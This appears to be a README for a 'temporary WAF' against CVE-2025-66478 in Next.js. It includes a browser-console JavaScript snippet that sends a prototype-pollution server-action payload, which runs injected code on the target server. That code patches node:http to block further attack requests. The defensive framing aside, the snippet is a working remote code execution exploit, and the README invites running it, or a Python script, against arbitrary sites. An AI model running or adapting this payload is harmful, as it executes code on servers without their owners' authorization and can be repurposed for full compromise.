
Let's help websites stay safe until they are properly patched!
Simple, temporary WAF protection tester targeting a specific payload sequence.
Let's help websites stay safe until they are properly patched!
Protect from CVE-2025-66478 by detecting and blocking requests containing specific payload signatures. This shouldn't break legitimate traffic and save the websites that are not properly maintained
And it resets after restart, so it's not a permanent solution
python main.py
python main.py http://example.com/
Yep, run it straight in browser console:
const formData = new FormData();
const actionPayload = {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"throw(async()=>{const t=await import(\"node:http\"),e=t.IncomingMessage.prototype.emit;t.IncomingMessage.prototype.emit=function(t,...n){if(\"data\"===t&&n.length>0){const t=this.headers[\"content-type\"]||\"\";if(t.includes(\"multipart\")||t.includes(\"json\")||t.includes(\"text\")){const t=n[0].toString(\"utf8\");if(t.includes('\"then\":\"$1:__proto__:then\"')||t.includes('\"get\":\"$1:constructor:constructor\"')){const t=this.socket._httpMessage;if(t&&!t.headersSent)try{return t.writeHead(500,{\"Content-Type\":\"text/plain; charset=utf-8\",Connection:\"close\",\"X-Powered-By\":\"Next.js\"}),t.end('0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"cwwYVM2ZWm4vgZG3xVPfk\"}\\n1:E{\"digest\":\"2494231801\"}',(()=>this.destroy())),!1}catch(t){this.destroy()}else this.destroy();return!1}}}return e.apply(this,arguments)}})(),Object.assign(new Error(\"x\"),{digest:\"WAF Installed\"});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
formData.append("0", JSON.stringify(actionPayload));
formData.append("1", '"$@0"');
formData.append("2", "[]");
fetch("/", {
method: "POST",
body: formData,
headers: {
"Next-Action": "x",
}
})
.then(async res => console.log(await res.text()));